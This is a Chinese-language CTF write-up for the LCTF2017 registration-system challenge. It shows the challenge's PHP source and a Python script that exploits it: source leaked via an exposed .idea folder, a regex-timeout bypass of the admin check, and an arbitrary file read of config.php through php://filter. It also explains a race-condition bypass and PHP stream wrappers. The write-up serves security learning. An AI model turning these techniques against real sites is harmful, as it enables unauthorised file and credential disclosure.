题记:
最近在服务器上复现了一些CTF题目,所以对这些题目整理上相应的writeup。所以,才有了今天的文章。
正文:
这道题目是LCTF2017的题目,名字为萌萌哒报名系统。题目提示为:天依花了一整天的时间用IDE开发了一个报名系统,现在她睡着了,难道你们不想做点什么嘛XD?
首先提示是IDE,那么我们可以想到PHP有款强大的IDE叫做PHPSTORM,它新建项目的时候会生成一个.idea文件夹,访问发现有一个workspace.xml
文件,访问里面发现了一个xdcms2333.zip
。
`<entryfile="file://$PROJECT_DIR$/xdcms2333.zip"/><entry file="file://$PROJECT_DIR$/config.php"><provider selected="true" editor-type-id="text-editor"><state relative-caret-position="0">`
下载即可得到源码
register.php
<?php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';
login.php
<?php
session_start();
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
```
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {
die('wrong password');
}
$_SESSION['username'] = $username;
unset($_SESSION['is_logined']);
unset($_SESSION['is_guest']);
#echo $username;
header("Location: member.php");
```
?>
member.php
<?php
error_reporting(0);
session_start();
include('config.php');
if (isset($_SESSION['username']) === false) {
die('please login first');
}
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
$sth->execute([':username' => $_SESSION['username']]);
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
```
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}
```
?>
这里我们首先看register.php
$admin = $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
然后下面
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
如果匹配了$matches[0]=$admin
就可以把xdsec注册到identities表中,可样我们就可以绕过第一层,member.php
中的
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
官方在这里解释说str_shuffle是不可预测的,所以xdsec注册是一个幌子,但是之前读过一篇文章,str_shuffle是可以预测的。str_shuffle 是通过获取 rand() 值计算键值进行字符串置换,打乱字符串。所以我们只要能预测 rand() 值,就能计算出 str_shuffle 生成的值
参考链接:http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
其中提到的公式:state[i] = state[i-3] + state[i-31]
也就是说,rand 生成的第 i 个随机数,等于 i-3 个随机数加 i-31 个随机数的和。
所以我们需要生成至少 32 个随机数,就可以预测后面的随机数了。这里我们要用到 Keep-Alive 来获取随机数,只要 TCP 连接不断那么这个随机数生成就是连续的。所以,这里生成的随机数是伪随机数。
这里我们用另一个方法,用pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
payload:
`code=xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)`
这个时候identity是空串,这时候我们就绕过了第一个限制
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
因为identity字段没有插入,所以此处为session设置失败。接下来进入第二个限制:
`if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))`
`echo "you cannot give me a file";`
`else`
`readfile($_GET['file']);`
这里要求通过GET方法过去的,必须是文件,然后才调用readfile方法,如果我们相要任意读取文件,需要绕过这里,此处,我们采用php伪协议绕过。
<?php
$a = '123.php';
$b = 'php://filter/resource=123.php';
var_dump(is_file($a));
var_dump(is_file($b));
?>
boolean true
boolean false
综上,现在贴出脚本
# coding:utf-8
# auther:ur10ser
import requests
url = 'http://47.107.57.56:8083/name/'
log = 'login.php'
reg = 'register.php'
s = requests.session()
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
"Content-Type": "application/x-www-form-urlencoded"}
data = {
'to': 'reg',
'did': '0',
'username': 'ur011se',
'password': 'ur011swqe',
'code': 'xdsec###' + 'AAA' * 50000
}
data1 = {
'to': 'log',
'username': 'ur011se',
'password': 'ur011swqe'
}
url1 = url + reg
url2 = url + log
s.post(url1, headers=headers, data=data)
print('[+]注册成功!')
s.post(url2, data=data1)
print('[+]登录成功!')
r = s.get('http://47.107.57.56:8083/name/member.php?file=php://filter/resource=config.php')
print (r.content)
除了上述方法,这个题还有个条件竞争的漏洞,因为身份验证是用
`if` `($sth->fetch()[0] === ``'GUEST'``)`
的那么如果在identities表中没有username这一行数据,那么取出来$sth->fetch()[0]结果就是null,还是可以绕过第一层,所以可以用python多线程注册用户,在
`$sth = $pdo->prepare(``'INSERT INTO identities (username, identity) VALUES (:username, :identity)'``);`
语句执行之前登陆上去就可以绕过第一层。
知识储备
正则表达式的贪婪与非贪婪匹配
如:String str="abcaxc";
Patter p="ab*c";
贪婪匹配:正则表达式一般趋向于最大长度匹配,也就是所谓的贪婪匹配。如上面使用模式p匹配字符串str,结果就是匹配到:abcaxc(ab*c)。
非贪婪匹配:就是匹配到结果就好,就少的匹配字符。如上面使用模式p匹配字符串str,结果就是匹配到:abc(ab*c)。
php伪协议
php伪协议:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
【file://协议】
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
使用方法:
file:// [文件的绝对路径和文件名]
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
参考自:http://php.net/manual/zh/wrappers.file.php
【php://协议】
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
条件竞争
竞争条件漏洞就是多个进程或线程访问同一资源时产生的时间或者序列的冲突,并利用这个冲突来对系统进行攻击。一个看起来无害的程序如果被恶意攻击者利用,将发生竞争条件漏洞